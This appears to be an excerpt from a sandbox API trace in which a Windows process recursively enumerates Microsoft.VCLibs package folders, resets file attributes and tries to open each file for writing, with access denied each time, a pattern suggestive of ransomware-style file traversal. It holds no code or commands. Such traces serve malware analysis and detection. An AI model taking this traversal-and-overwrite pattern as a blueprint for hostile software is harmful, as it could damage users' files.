	[0091.185] FindNextFileW (in: hFindFile=0x46a7490, lpFindFileData=0x470e8b0 | out: lpFindFileData=0x470e8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebb321a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb0acfda8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9ebb321a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0091.185] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0091.185] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0091.185] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x4718350
	[0091.185] wcscpy (in: _Dest=0x4718350, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe"
	[0091.185] wcscat (in: _Dest=0x4718350, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\"
	[0091.185] wcscat (in: _Dest=0x4718350, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\AppxMetadata"
	[0091.185] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x4718eb0
	[0091.185] wcscpy (in: _Dest=0x4718eb0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\AppxMetadata"
	[0091.185] wcscat (in: _Dest=0x4718eb0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\AppxMetadata\\"
	[0091.185] wcscat (in: _Dest=0x4718eb0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\AppxMetadata\\*"
	[0091.185] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502d7b8
	[0091.185] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebb321a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb0acfda8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9ebb321a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b1a8
	[0091.185] wcscmp (_String1=".", _String2=".") returned 0
	[0091.185] FindNextFileW (in: hFindFile=0x477b1a8, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebb321a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb0acfda8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9ebb321a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.185] wcscmp (_String1="..", _String2=".") returned 1
	[0091.185] wcscmp (_String1="..", _String2="..") returned 0
	[0091.185] FindNextFileW (in: hFindFile=0x477b1a8, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ebb321a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x9ebb321a, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x9ebb321a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2be3, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 1
	[0091.185] wcscmp (_String1="CodeIntegrity.cat", _String2=".") returned 1
	[0091.185] wcscmp (_String1="CodeIntegrity.cat", _String2="..") returned 1
	[0091.186] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x491d178
	[0091.186] wcscpy (in: _Dest=0x491d178, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\AppxMetadata"
	[0091.186] wcscat (in: _Dest=0x491d178, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\AppxMetadata\\"
	[0091.186] wcscat (in: _Dest=0x491d178, _Source="CodeIntegrity.cat" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat"
	[0091.186] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat")) returned 0x20
	[0091.189] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0091.189] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.189] GetLastError () returned 0x5
	[0091.189] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0091.189] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491d178) returned 1
	[0091.189] FindNextFileW (in: hFindFile=0x477b1a8, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ebb321a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x9ebb321a, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x9ebb321a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2be3, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 0
	[0091.189] FindClose (in: hFindFile=0x477b1a8 | out: hFindFile=0x477b1a8) returned 1
	[0091.189] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502d7b8) returned 1
	[0091.189] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718eb0) returned 1
	[0091.189] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718350) returned 1
	[0091.189] FindNextFileW (in: hFindFile=0x46a7490, lpFindFileData=0x470e8b0 | out: lpFindFileData=0x470e8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ebb321a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x9ebb321a, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x9ebb321a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x289e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0091.189] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0091.190] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0091.190] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x2e12e18
	[0091.190] wcscpy (in: _Dest=0x2e12e18, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe"
	[0091.190] wcscat (in: _Dest=0x2e12e18, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\"
	[0091.190] wcscat (in: _Dest=0x2e12e18, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0091.190] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0091.190] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0091.191] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.191] GetLastError () returned 0x5
	[0091.191] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0091.191] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12e18) returned 1
	[0091.191] FindNextFileW (in: hFindFile=0x46a7490, lpFindFileData=0x470e8b0 | out: lpFindFileData=0x470e8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ebb321a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x9ebb321a, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x9ebb321a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x203, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1
	[0091.191] wcscmp (_String1="logo.png", _String2=".") returned 1
	[0091.191] wcscmp (_String1="logo.png", _String2="..") returned 1
	[0091.191] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4926008
	[0091.191] wcscpy (in: _Dest=0x4926008, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe"
	[0091.191] wcscat (in: _Dest=0x4926008, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\"
	[0091.191] wcscat (in: _Dest=0x4926008, _Source="logo.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\logo.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\logo.png"
	[0091.191] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\logo.png" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\logo.png")) returned 0x20
	[0091.195] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\logo.png", dwFileAttributes=0x20) returned 0
	[0091.195] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\logo.png" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\logo.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.195] GetLastError () returned 0x5
	[0091.195] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\logo.png", dwFileAttributes=0x20) returned 0
	[0091.195] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4926008) returned 1
	[0091.196] FindNextFileW (in: hFindFile=0x46a7490, lpFindFileData=0x470e8b0 | out: lpFindFileData=0x470e8b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5b6ced31, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe665ae03, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe665ae03, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0091.196] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0091.196] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0091.196] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xee) returned 0x491ce80
	[0091.196] wcscpy (in: _Dest=0x491ce80, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe"
	[0091.196] wcscat (in: _Dest=0x491ce80, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\"
	[0091.196] wcscat (in: _Dest=0x491ce80, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0091.196] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4778660
	[0091.196] wcscpy (in: _Dest=0x4778660, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0091.196] wcscat (in: _Dest=0x4778660, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0091.196] wcscat (in: _Dest=0x4778660, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0091.196] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502d7b8
	[0091.196] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5b6ced31, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe665ae03, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe665ae03, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b0e8
	[0091.196] wcscmp (_String1=".", _String2=".") returned 0
	[0091.196] FindNextFileW (in: hFindFile=0x477b0e8, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5b6ced31, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe665ae03, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe665ae03, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.196] wcscmp (_String1="..", _String2=".") returned 1
	[0091.196] wcscmp (_String1="..", _String2="..") returned 0
	[0091.196] FindNextFileW (in: hFindFile=0x477b0e8, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe665ae03, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xe665ae03, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe665ae03, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 1
	[0091.196] wcscmp (_String1="Autogen", _String2=".") returned 1
	[0091.196] wcscmp (_String1="Autogen", _String2="..") returned 1
	[0091.196] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfe) returned 0x5026d78
	[0091.196] wcscpy (in: _Dest=0x5026d78, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0091.196] wcscat (in: _Dest=0x5026d78, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0091.196] wcscat (in: _Dest=0x5026d78, _Source="Autogen" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen"
	[0091.197] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x102) returned 0x4716d10
	[0091.197] wcscpy (in: _Dest=0x4716d10, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen"
	[0091.197] wcscat (in: _Dest=0x4716d10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\"
	[0091.197] wcscat (in: _Dest=0x4716d10, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\*"
	[0091.197] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502dc88
	[0091.197] FindFirstFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\*", lpFindFileData=0x502dc88) 

Thread:
	id = 856
	os_tid = 0x124c

	[0082.050] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x481bda0
	[0082.050] wcscpy (in: _Dest=0x481bda0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe"
	[0082.050] wcscat (in: _Dest=0x481bda0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\"
	[0082.050] wcscat (in: _Dest=0x481bda0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\*"
	[0082.050] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x470ed80
	[0082.050] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x470ed80 | out: lpFindFileData=0x470ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12fc9b2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb13a1d82, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb13a1d82, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a74d0
	[0082.052] wcscmp (_String1=".", _String2=".") returned 0
	[0082.052] FindNextFileW (in: hFindFile=0x46a74d0, lpFindFileData=0x470ed80 | out: lpFindFileData=0x470ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12fc9b2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb13a1d82, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb13a1d82, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.052] wcscmp (_String1="..", _String2=".") returned 1
	[0082.052] wcscmp (_String1="..", _String2="..") returned 0
	[0082.052] FindNextFileW (in: hFindFile=0x46a74d0, lpFindFileData=0x470ed80 | out: lpFindFileData=0x470ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12fc9b2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1322c10, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1322c10, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xd2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.052] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.052] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
